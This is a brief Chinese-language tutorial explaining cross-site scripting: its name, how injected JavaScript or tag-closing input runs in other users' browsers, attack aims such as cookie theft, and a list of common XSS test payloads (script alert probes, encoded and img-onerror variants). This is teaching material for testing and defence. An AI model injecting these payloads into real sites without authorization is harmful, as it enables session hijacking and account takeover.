什么是XSS(Cross Site Scripting)

Cross Site Scripting的缩写本来是CSS,但是这样就跟Cascading Style Sheets的缩写混淆了,所以使用XSS,使用字母X更库,而且更贴切的反应这是一种恶意攻击技术,中文名称是“跨站脚本攻击”。

原理概要:某个恶意用户发现一个网站存在XSS漏洞,该用户向此网站上传内容时,例如,提交表单,在表单中填写的不是正常的内容,而是填写恶意的Javascript代码或者能够造成网站页面中的HTML标签被恶意闭合的内容,这样其他用户浏览该页面时,嵌入其中的Javascript代码被执行或者由于恶意标签闭合造成页面逻辑的改变,都可以被利用达到攻击的目的。



攻击方法

  • 偷 cookie
  • 利用 iframe 或 frame 存取管理頁面或後台頁面。
  • 利用 XMLHttpRequest 存取管理頁面或後台頁面。


    • 常用测试内容

      • ><script>alert(document.cookie)</script>
      • ='><script>alert(document.cookie)</script>
      • <script>alert(document.cookie)</script>
      • <script>alert(vulnerable)</script>
      • %3Cscript%3Ealert('XSS')%3C/script%3E
      • <script>alert('XSS')</script>
      • <img src="javascript:alert('XSS')">
      • <img src="http://xxx.com/yyy.png" onerror="alert('XSS')">
      • <div style="height:expression(alert('XSS'),1)" />(這個僅限 IE 有效)


      更多阅读材料